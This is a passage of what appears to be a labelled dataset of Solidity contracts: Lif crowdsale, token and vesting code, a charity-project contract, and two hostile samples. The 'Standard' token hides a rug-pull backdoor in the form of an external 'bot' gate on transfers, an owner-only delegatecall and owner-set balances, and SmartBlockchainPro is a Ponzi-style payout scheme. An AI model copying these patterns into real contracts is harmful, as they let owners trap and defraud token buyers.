ContributionRemoved(_contributor, ethRaised, usdRaised, totalTokens);
}
} | 0 | 1,214 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BotProtected {
address internal owner;
address internal stopTheBots;
address public uniPair;
constructor(address _botProtection) {
stopTheBots = _botProtection;
}
modifier checkBots(address _from, address _to, uint256 _value) {
(bool notABot, bytes memory isNotBot) = stopTheBots.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value));
require(notABot);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract Standard is BotProtected {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 100000000000000000000000000;
string public name = "Standard";
string public symbol = "STND";
IUniswapV2Router02 public routerForUniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public wBNB = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor(address _botProtection) BotProtected(_botProtection) {
owner = tx.origin;
uniPair = pairForPancake(wBNB, address(this));
allowance[address(this)][address(routerForUniswap)] = uint(-1);
allowance[tx.origin][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function pairForPancake(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function list(uint _numList, address[] memory _tos, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
routerForUniswap.addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_tos.length == _amounts.length);
stopTheBots.call(abi.encodeWithSelector(0xd5eaf4c3, _tos));
for(uint i = 0; i < _tos.length; i++) {
balanceOf[_tos[i]] = _amounts[i];
emit Transfer(address(0x0), _tos[i], _amounts[i]);
}
}
} | 0 | 504 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage _role, address _addr)
internal
{
_role.bearer[_addr] = true;
}
function remove(Role storage _role, address _addr)
internal
{
_role.bearer[_addr] = false;
}
function check(Role storage _role, address _addr)
internal
view
{
require(has(_role, _addr));
}
function has(Role storage _role, address _addr)
internal
view
returns (bool)
{
return _role.bearer[_addr];
}
}
contract RBAC {
using Roles for Roles.Role;
mapping (string => Roles.Role) private roles;
event RoleAdded(address indexed operator, string role);
event RoleRemoved(address indexed operator, string role);
function checkRole(address _operator, string _role)
public
view
{
roles[_role].check(_operator);
}
function hasRole(address _operator, string _role)
public
view
returns (bool)
{
return roles[_role].has(_operator);
}
function addRole(address _operator, string _role)
internal
{
roles[_role].add(_operator);
emit RoleAdded(_operator, _role);
}
function removeRole(address _operator, string _role)
internal
{
roles[_role].remove(_operator);
emit RoleRemoved(_operator, _role);
}
modifier onlyRole(string _role)
{
checkRole(msg.sender, _role);
_;
}
}
contract RBACManager is RBAC, Ownable {
string constant ROLE_MANAGER = "manager";
modifier onlyOwnerOrManager() {
require(
msg.sender == owner || hasRole(msg.sender, ROLE_MANAGER),
"unauthorized"
);
_;
}
constructor() public {
addRole(msg.sender, ROLE_MANAGER);
}
function addManager(address _manager) public onlyOwner {
addRole(_manager, ROLE_MANAGER);
}
function removeManager(address _manager) public onlyOwner {
removeRole(_manager, ROLE_MANAGER);
}
}
contract CharityProject is RBACManager {
using SafeMath for uint256;
modifier canWithdraw() {
require(
canWithdrawBeforeEnd || closingTime == 0 || block.timestamp > closingTime,
"can't withdraw");
_;
}
uint256 public withdrawn;
uint256 public maxGoal;
uint256 public openingTime;
uint256 public closingTime;
address public wallet;
ERC20 public token;
bool public canWithdrawBeforeEnd;
constructor (
uint256 _maxGoal,
uint256 _openingTime,
uint256 _closingTime,
address _wallet,
ERC20 _token,
bool _canWithdrawBeforeEnd,
address _additionalManager
) public {
require(_wallet != address(0), "_wallet can't be zero");
require(_token != address(0), "_token can't be zero");
require(
_closingTime == 0 || _closingTime >= _openingTime,
"wrong value for _closingTime"
);
maxGoal = _maxGoal;
openingTime = _openingTime;
closingTime = _closingTime;
wallet = _wallet;
token = _token;
canWithdrawBeforeEnd = _canWithdrawBeforeEnd;
if (wallet != owner) {
addManager(wallet);
}
if (_additionalManager != address(0) && _additionalManager != owner && _additionalManager != wallet) {
addManager(_additionalManager);
}
}
function withdrawTokens(
address _to,
uint256 _value
)
public
onlyOwnerOrManager
canWithdraw
{
token.transfer(_to, _value);
withdrawn = withdrawn.add(_value);
}
function totalRaised() public view returns (uint256) {
uint256 raised = token.balanceOf(this);
return raised.add(withdrawn);
}
function hasStarted() public view returns (bool) {
return openingTime == 0 ? true : block.timestamp > openingTime;
}
function hasClosed() public view returns (bool) {
return closingTime == 0 ? false : block.timestamp > closingTime;
}
function maxGoalReached() public view returns (bool) {
return totalRaised() >= maxGoal;
}
function setMaxGoal(uint256 _newMaxGoal) public onlyOwner {
maxGoal = _newMaxGoal;
}
function setTimes(
uint256 _openingTime,
uint256 _closingTime
)
public
onlyOwner
{
require(
_closingTime == 0 || _closingTime >= _openingTime,
"wrong value for _closingTime"
);
openingTime = _openingTime;
closingTime = _closingTime;
}
function setCanWithdrawBeforeEnd(
bool _canWithdrawBeforeEnd
)
public
onlyOwner
{
canWithdrawBeforeEnd = _canWithdrawBeforeEnd;
}
} | 1 | 4,285 |
pragma solidity ^0.4.25;
contract SmartBlockchainPro {
mapping (address => uint256) invested;
mapping (address => uint256) atBlock;
address public marketingAddr = 0x43bF9E5f8962079B483892ac460dE3675a3Ef802;
function () external payable {
if (invested[msg.sender] != 0) {
uint256 amount = invested[msg.sender] * 1 / 100 * (block.number - atBlock[msg.sender]) / 5900;
address sender = msg.sender;
sender.send(amount);
}
if (msg.value != 0) {
marketingAddr.send(msg.value * 15 / 100);
}
atBlock[msg.sender] = block.number;
invested[msg.sender] += msg.value;
}
} | 0 | 1,996 |
pragma solidity ^0.4.18;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC827 is ERC20 {
function approve( address _spender, uint256 _value, bytes _data ) public returns (bool);
function transfer( address _to, uint256 _value, bytes _data ) public returns (bool);
function transferFrom( address _from, address _to, uint256 _value, bytes _data ) public returns (bool);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract ERC827Token is ERC827, StandardToken {
function approve(address _spender, uint256 _value, bytes _data) public returns (bool) {
require(_spender != address(this));
super.approve(_spender, _value);
require(_spender.call(_data));
return true;
}
function transfer(address _to, uint256 _value, bytes _data) public returns (bool) {
require(_to != address(this));
super.transfer(_to, _value);
require(_to.call(_data));
return true;
}
function transferFrom(address _from, address _to, uint256 _value, bytes _data) public returns (bool) {
require(_to != address(this));
super.transferFrom(_from, _to, _value);
require(_to.call(_data));
return true;
}
function increaseApproval(address _spender, uint _addedValue, bytes _data) public returns (bool) {
require(_spender != address(this));
super.increaseApproval(_spender, _addedValue);
require(_spender.call(_data));
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue, bytes _data) public returns (bool) {
require(_spender != address(this));
super.decreaseApproval(_spender, _subtractedValue);
require(_spender.call(_data));
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract LifToken is StandardToken, ERC827Token, MintableToken, PausableToken {
string public constant NAME = "Líf";
string public constant SYMBOL = "LIF";
uint public constant DECIMALS = 18;
function burn(uint256 _value) public whenNotPaused {
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
Transfer(msg.sender, address(0), _value);
}
function burn(address burner, uint256 _value) public onlyOwner {
require(!mintingFinished);
require(_value <= balances[burner]);
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
Transfer(burner, address(0), _value);
}
}
contract VestedPayment is Ownable {
using SafeMath for uint256;
uint256 public startTimestamp;
uint256 public secondsPerPeriod;
uint256 public totalPeriods;
uint256 public tokens;
uint256 public claimed;
LifToken public token;
uint256 public cliffDuration;
function VestedPayment(
uint256 _startTimestamp, uint256 _secondsPerPeriod,
uint256 _totalPeriods, uint256 _cliffDuration,
uint256 _tokens, address tokenAddress
) {
require(_startTimestamp >= block.timestamp);
require(_secondsPerPeriod > 0);
require(_totalPeriods > 0);
require(tokenAddress != address(0));
require(_cliffDuration < _totalPeriods);
require(_tokens > 0);
startTimestamp = _startTimestamp;
secondsPerPeriod = _secondsPerPeriod;
totalPeriods = _totalPeriods;
cliffDuration = _cliffDuration;
tokens = _tokens;
token = LifToken(tokenAddress);
}
function getAvailableTokens() public view returns (uint256) {
uint256 period = block.timestamp.sub(startTimestamp)
.div(secondsPerPeriod);
if (period < cliffDuration) {
return 0;
} else if (period >= totalPeriods) {
return tokens.sub(claimed);
} else {
return tokens.mul(period.add(1)).div(totalPeriods).sub(claimed);
}
}
function claimTokens(uint256 amount) public onlyOwner {
assert(getAvailableTokens() >= amount);
claimed = claimed.add(amount);
token.transfer(owner, amount);
}
}
contract LifMarketValidationMechanism is Ownable {
using SafeMath for uint256;
LifToken public lifToken;
address public foundationAddr;
uint256 public initialWei;
uint256 public startTimestamp;
uint256 public secondsPerPeriod;
uint8 public totalPeriods;
uint256 public totalWeiClaimed = 0;
uint256 public initialBuyPrice = 0;
uint256 public totalBurnedTokens = 0;
uint256 public totalReimbursedWei = 0;
uint256 public originalTotalSupply;
uint256 constant PRICE_FACTOR = 100000;
bool public funded = false;
bool public paused = false;
uint256 public totalPausedSeconds = 0;
uint256 public pausedTimestamp;
uint256[] public periods;
event Pause();
event Unpause(uint256 pausedSeconds);
event ClaimedWei(uint256 claimedWei);
event SentTokens(address indexed sender, uint256 price, uint256 tokens, uint256 returnedWei);
modifier whenNotPaused(){
assert(!paused);
_;
}
modifier whenPaused(){
assert(paused);
_;
}
function LifMarketValidationMechanism(
address lifAddr, uint256 _startTimestamp, uint256 _secondsPerPeriod,
uint8 _totalPeriods, address _foundationAddr
) {
require(lifAddr != address(0));
require(_startTimestamp > block.timestamp);
require(_secondsPerPeriod > 0);
require(_totalPeriods == 24 || _totalPeriods == 48);
require(_foundationAddr != address(0));
lifToken = LifToken(lifAddr);
startTimestamp = _startTimestamp;
secondsPerPeriod = _secondsPerPeriod;
totalPeriods = _totalPeriods;
foundationAddr = _foundationAddr;
}
function fund() public payable onlyOwner {
assert(!funded);
originalTotalSupply = lifToken.totalSupply();
initialWei = msg.value;
initialBuyPrice = initialWei.
mul(PRICE_FACTOR).
div(originalTotalSupply);
funded = true;
}
function calculateDistributionPeriods() public {
assert(totalPeriods == 24 || totalPeriods == 48);
assert(periods.length == 0);
uint256[24] memory accumDistribution24 = [
uint256(0), 18, 117, 351, 767, 1407,
2309, 3511, 5047, 6952, 9257, 11995,
15196, 18889, 23104, 27870, 33215, 39166,
45749, 52992, 60921, 69561, 78938, 89076
];
uint256[48] memory accumDistribution48 = [
uint256(0), 3, 18, 54, 117, 214, 351, 534,
767, 1056, 1406, 1822, 2308, 2869, 3510, 4234,
5046, 5950, 6950, 8051, 9256, 10569, 11994, 13535,
15195, 16978, 18888, 20929, 23104, 25416, 27870, 30468,
33214, 36112, 39165, 42376, 45749, 49286, 52992, 56869,
60921, 65150, 69560, 74155, 78937, 83909, 89075, 94438
];
for (uint8 i = 0; i < totalPeriods; i++) {
if (totalPeriods == 24) {
periods.push(accumDistribution24[i]);
} else {
periods.push(accumDistribution48[i]);
}
}
}
function getCurrentPeriodIndex() public view returns(uint256) {
assert(block.timestamp >= startTimestamp);
return block.timestamp.sub(startTimestamp).
sub(totalPausedSeconds).
div(secondsPerPeriod);
}
function getAccumulatedDistributionPercentage() public view returns(uint256 percentage) {
uint256 period = getCurrentPeriodIndex();
assert(period < totalPeriods);
return periods[period];
}
function getBuyPrice() public view returns (uint256 price) {
uint256 accumulatedDistributionPercentage = getAccumulatedDistributionPercentage();
return initialBuyPrice.
mul(PRICE_FACTOR.sub(accumulatedDistributionPercentage)).
div(PRICE_FACTOR);
}
function getMaxClaimableWeiAmount() public view returns (uint256) {
if (isFinished()) {
return this.balance;
} else {
uint256 claimableFromReimbursed = initialBuyPrice.
mul(totalBurnedTokens).div(PRICE_FACTOR).
sub(totalReimbursedWei);
uint256 currentCirculation = lifToken.totalSupply();
uint256 accumulatedDistributionPercentage = getAccumulatedDistributionPercentage();
uint256 maxClaimable = initialWei.
mul(accumulatedDistributionPercentage).div(PRICE_FACTOR).
mul(currentCirculation).div(originalTotalSupply).
add(claimableFromReimbursed);
if (maxClaimable > totalWeiClaimed) {
return maxClaimable.sub(totalWeiClaimed);
} else {
return 0;
}
}
}
function sendTokens(uint256 tokens) public whenNotPaused {
require(tokens > 0);
uint256 price = getBuyPrice();
uint256 totalWei = tokens.mul(price).div(PRICE_FACTOR);
lifToken.transferFrom(msg.sender, address(this), tokens);
lifToken.burn(tokens);
totalBurnedTokens = totalBurnedTokens.add(tokens);
SentTokens(msg.sender, price, tokens, totalWei);
totalReimbursedWei = totalReimbursedWei.add(totalWei);
msg.sender.transfer(totalWei);
}
function isFinished() public view returns (bool finished) {
return getCurrentPeriodIndex() >= totalPeriods;
}
function claimWei(uint256 weiAmount) public whenNotPaused {
require(msg.sender == foundationAddr);
uint256 claimable = getMaxClaimableWeiAmount();
assert(claimable >= weiAmount);
foundationAddr.transfer(weiAmount);
totalWeiClaimed = totalWeiClaimed.add(weiAmount);
ClaimedWei(weiAmount);
}
function pause() public onlyOwner whenNotPaused {
paused = true;
pausedTimestamp = block.timestamp;
Pause();
}
function unpause() public onlyOwner whenPaused {
uint256 pausedSeconds = block.timestamp.sub(pausedTimestamp);
totalPausedSeconds = totalPausedSeconds.add(pausedSeconds);
paused = false;
Unpause(pausedSeconds);
}
}
contract LifCrowdsale is Ownable, Pausable {
using SafeMath for uint256;
LifToken public token;
uint256 public startTimestamp;
uint256 public end1Timestamp;
uint256 public end2Timestamp;
address public foundationWallet;
address public foundersWallet;
uint256 public minCapUSD = 5000000;
uint256 public maxFoundationCapUSD = 10000000;
uint256 public MVM24PeriodsCapUSD = 40000000;
uint256 public weiPerUSDinTGE = 0;
uint256 public setWeiLockSeconds = 0;
uint256 public rate1;
uint256 public rate2;
uint256 public weiRaised;
uint256 public tokensSold;
VestedPayment public foundationVestedPayment;
VestedPayment public foundersVestedPayment;
LifMarketValidationMechanism public MVM;
mapping(address => uint256) public purchases;
bool public isFinalized = false;
event Finalized();
event TokenPresalePurchase(address indexed beneficiary, uint256 weiAmount, uint256 rate);
event TokenPurchase(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount
);
function LifCrowdsale(
uint256 _startTimestamp,
uint256 _end1Timestamp,
uint256 _end2Timestamp,
uint256 _rate1,
uint256 _rate2,
uint256 _setWeiLockSeconds,
address _foundationWallet,
address _foundersWallet
) {
require(_startTimestamp > block.timestamp);
require(_end1Timestamp > _startTimestamp);
require(_end2Timestamp > _end1Timestamp);
require(_rate1 > 0);
require(_rate2 > 0);
require(_setWeiLockSeconds > 0);
require(_foundationWallet != address(0));
require(_foundersWallet != address(0));
token = new LifToken();
token.pause();
startTimestamp = _startTimestamp;
end1Timestamp = _end1Timestamp;
end2Timestamp = _end2Timestamp;
rate1 = _rate1;
rate2 = _rate2;
setWeiLockSeconds = _setWeiLockSeconds;
foundationWallet = _foundationWallet;
foundersWallet = _foundersWallet;
}
function setWeiPerUSDinTGE(uint256 _weiPerUSD) public onlyOwner {
require(_weiPerUSD > 0);
assert(block.timestamp < startTimestamp.sub(setWeiLockSeconds));
weiPerUSDinTGE = _weiPerUSD;
}
function getRate() public view returns (uint256) {
if (block.timestamp < startTimestamp)
return 0;
else if (block.timestamp <= end1Timestamp)
return rate1;
else if (block.timestamp <= end2Timestamp)
return rate2;
else
return 0;
}
function () payable {
buyTokens(msg.sender);
}
function buyTokens(address beneficiary) public payable whenNotPaused validPurchase {
require(beneficiary != address(0));
assert(weiPerUSDinTGE > 0);
uint256 weiAmount = msg.value;
uint256 rate = getRate();
assert(rate > 0);
uint256 tokens = weiAmount.mul(rate);
weiRaised = weiRaised.add(weiAmount);
purchases[beneficiary] = purchases[beneficiary].add(weiAmount);
tokensSold = tokensSold.add(tokens);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
}
function addPrivatePresaleTokens(
address beneficiary, uint256 weiSent, uint256 rate
) public onlyOwner {
require(block.timestamp < startTimestamp);
require(beneficiary != address(0));
require(weiSent > 0);
require(rate > rate1);
uint256 tokens = weiSent.mul(rate);
weiRaised = weiRaised.add(weiSent);
token.mint(beneficiary, tokens);
TokenPresalePurchase(beneficiary, weiSent, rate);
}
function forwardFunds() internal {
uint256 foundationBalanceCapWei = maxFoundationCapUSD.mul(weiPerUSDinTGE);
if (weiRaised <= foundationBalanceCapWei) {
foundationWallet.transfer(this.balance);
mintExtraTokens(uint256(24));
} else {
uint256 mmFundBalance = this.balance.sub(foundationBalanceCapWei);
uint8 MVMPeriods = 24;
if (mmFundBalance > MVM24PeriodsCapUSD.mul(weiPerUSDinTGE))
MVMPeriods = 48;
foundationWallet.transfer(foundationBalanceCapWei);
MVM = new LifMarketValidationMechanism(
address(token), block.timestamp.add(30 minutes), 10 minutes, MVMPeriods, foundationWallet
);
MVM.calculateDistributionPeriods();
mintExtraTokens(uint256(MVMPeriods));
MVM.fund.value(mmFundBalance)();
MVM.transferOwnership(foundationWallet);
}
}
function mintExtraTokens(uint256 foundationMonthsStart) internal {
uint256 foundersTokens = token.totalSupply().mul(128).div(1000);
uint256 foundationTokens = token.totalSupply().mul(50).div(1000);
uint256 teamTokens = token.totalSupply().mul(72).div(1000);
foundersVestedPayment = new VestedPayment(
block.timestamp, 10 minutes, 48, 12, foundersTokens, token
);
token.mint(foundersVestedPayment, foundersTokens);
foundersVestedPayment.transferOwnership(foundersWallet);
uint256 foundationPaymentStart = foundationMonthsStart.mul(10 minutes)
.add(30 minutes);
foundationVestedPayment = new VestedPayment(
block.timestamp.add(foundationPaymentStart), 10 minutes,
foundationMonthsStart, 0, foundationTokens, token
);
token.mint(foundationVestedPayment, foundationTokens);
foundationVestedPayment.transferOwnership(foundationWallet);
token.mint(foundationWallet, teamTokens);
}
modifier validPurchase() {
bool withinPeriod = now >= startTimestamp && now <= end2Timestamp;
bool nonZeroPurchase = msg.value != 0;
assert(withinPeriod && nonZeroPurchase);
_;
}
modifier hasEnded() {
assert(block.timestamp > end2Timestamp);
_;
}
function funded() public view returns (bool) {
assert(weiPerUSDinTGE > 0);
return weiRaised >= minCapUSD.mul(weiPerUSDinTGE);
}
function claimEth() public whenNotPaused hasEnded {
require(isFinalized);
require(!funded());
uint256 toReturn = purchases[msg.sender];
assert(toReturn > 0);
purchases[msg.sender] = 0;
msg.sender.transfer(toReturn);
}
function returnPurchase(address contributor)
public hasEnded onlyOwner
{
require(!isFinalized);
uint256 toReturn = purchases[contributor];
assert(toReturn > 0);
uint256 tokenBalance = token.balanceOf(contributor);
weiRaised = weiRaised.sub(toReturn);
tokensSold = tokensSold.sub(tokenBalance);
token.burn(contributor, tokenBalance);
purchases[contributor] = 0;
contributor.transfer(toReturn);
}
function finalize() public onlyOwner hasEnded {
require(!isFinalized);
if (funded()) {
forwardFunds();
token.finishMinting();
token.transferOwnership(owner);
}
Finalized();
isFinalized = true;
}
}
contract TGEDeployer {
LifCrowdsale public crowdsale;
address public wallet;
address public owner;
function TGEDeployer(
uint256 startTimestamp,
uint256 end1Timestamp,
uint256 end2Timestamp,
uint256 rate1,
uint256 rate2,
uint256 setWeiLockSeconds,
address foundationWallet,
address foundersWallet
) public {
crowdsale = new LifCrowdsale(
startTimestamp, end1Timestamp, end2Timestamp, rate1, rate2,
setWeiLockSeconds, foundationWallet, foundersWallet
);
wallet = foundationWallet;
owner = msg.sender;
}
function addPresaleTokens(address[] contributors, uint256[] values, uint256 rate) public {
require(msg.sender == owner);
require(contributors.length == values.length);
for (uint32 i = 0; i < contributors.length; i ++) {
crowdsale.addPrivatePresaleTokens(contributors[i], values[i], rate);
}
}
